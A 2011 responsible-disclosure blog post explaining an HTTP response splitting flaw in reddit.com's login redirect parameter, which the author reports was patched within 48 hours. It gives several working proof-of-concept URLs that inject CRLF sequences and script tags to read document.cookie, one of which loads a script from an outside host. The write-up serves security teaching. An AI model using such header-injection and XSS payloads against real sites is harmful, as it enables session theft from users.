Tag: http response splitting
2011
01.14

Summary

Reddit.com was vulnerable to an HTTP Response Splitting vulnerability. As a result, it was possible to execute arbitrary JavaScript and HTML on the reddit.com domain.

What is HTTP Response Splitting?

From Wikipedia:

HTTP response splitting is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values. It can be used to perform cross-site scripting attacks, cross-user defacement, web cache poisoning, and similar exploits.

The attack consists of making the server print a carriage return (CR, ASCII 0x0D) line feed (LF, ASCII 0x0A) sequence followed by content supplied by the attacker in the header section of its response, typically by including them in input fields sent to the application. Per the HTTP standard (RFC 2616), headers are separated by one CRLF and the response’s headers are separated from its body by two. Therefore, the failure to remove CRs and LFs allows the attacker to set arbitrary headers, take control of the body, or break the response into two or more separate responses—hence the name.

The Web Application Security Consortium also has a good writeup, including sources with more details.

How Did The Vulnerability Work?

Reddit.com, like many sites on the Internet, has a redirect system built into its login functionality. If you’re viewing a page on reddit.com and choose to log in, the system will redirect you back to your original page afterward. The redirect functionality appears to be limited to pages on reddit.com and to reddit.com subdomains.

Under normal circumstances, a login URL with a redirect might look something like this:
http://reddit.com/login?dest=/r/reddit.com

If a user is already logged in, that URL will skip the login step and go straight to the redirection. The headers sent for that redirect look like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
HTTP/1.1 302 Moved Temporarily  
Content-Type: text/html; charset=UTF-8  
Location: /r/reddit.com  
Pragma: no-cache  
Cache-Control: no-cache  
Content-Encoding: gzip  
Content-Length: 20  
Server: '; DROP TABLE servertypes; --  
Vary: Accept-Encoding  
Date: Fri, 14 Jan 2011 03:02:59 GMT  
Connection: keep-alive

Unfortunately, the vulnerability occurred because the “dest” parameter of the URL allowed an attacker to include newline characters (\r\n, or %0D%0A). Those characters were then parsed literally, which gave an attacker control over part of the HTTP response being sent by reddit’s servers.

To illustrate the point, lets take a look at one of the proof of concepts I developed to demonstrate the vulnerability.

The malicious URL we’re interested in is http://www.reddit.com/login?dest=http://reddit.com/%0D%0ALocation:%20javascript:%0D%0A%0D%0A<script>alert(document.cookie)</script>. Because of the newline characters being included in the “dest” parameter, the response sent by reddit’s servers would now look something like this

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Location: /r/reddit.com
Location: javascript:

<script>alert(document.cookie)</script>
Pragma: no-cache
Cache-Control: no-cache
Content-Encoding: gzip
Content-Length: 20
Server: '; DROP TABLE servertypes; --
Vary: Accept-Encoding
Date: Fri, 14 Jan 2011 03:02:59 GMT
Connection: keep-alive

Two sets of newlines in a row (%0D%0A%0D%0A) indicate that the HTTP headers are done being sent and the remainder of the response is the response body. Normally, the body of a redirect response is not rendered by the browser: the redirect makes that impossible to do. However, I used the second Location: header to try and confuse the browser, halting the redirect and causing the browser to display the body, which now contained JavaScript that I had included.

Proof of Concepts

I developed a number of proof of concepts, since browser-specific behaviors heavily influenced whether a particular URL could trigger an XSS vulnerability in a particular browser.

  1. http://www.reddit.com/login?dest=http://reddit.com/%0D%0ALocation: javascript:%0D%0A%0D%0A<script>alert(document.cookie)</script>
    This proof of concept worked in Firefox only. Firefox halts the redirect and displays the body of the response if it encounters a second Location header containing something invalid (like a redirect to a JavaScript URI).
  2. http://www.reddit.com/login?dest=http://reddit.com/%00%0D%0A%0D%0A<script>alert(document.cookie)</script>
    This proof of concept worked in both Firefox and Chrome. Both browsers would not redirect and would display the body of the response if the Location header contained a null byte.
  3. http://www.reddit.com/login?dest=http://reddit.com/%00%0D%0A%0D%0A<script src=”http://ha.ckers.org/xss.js”></script>
    This proof of concept worked in Safari only. It is similar to the second proof of concept, but it contains a different JavaScript payload: for some reason, Safari would not execute the JavaScript in the second proof of concept (I didn’t investigate the exact cause too much).

And of course, no XSS writeup would be complete without a picture. So, here’s a screenshot of the first proof of concept in action:

In Firefox 3.6.x, it was possible to trigger JavaScript by injecting a second, invalid Location header and a body containing <script> tags into the response.

In Firefox 3.6.x, it was possible to trigger JavaScript by injecting a second, invalid Location header and a body containing <script> tags into the response.

In case anyone is curious, this vulnerability was patched within 48 hours of my original report.

Anything Else?

I want to thank reddit’s admins for supporting the responsible disclosure of security vulnerabilities. :-)

Also, if you have any questions about HTTP Response Splitting or other web application security vulnerabilities, feel free to leave them in the comments!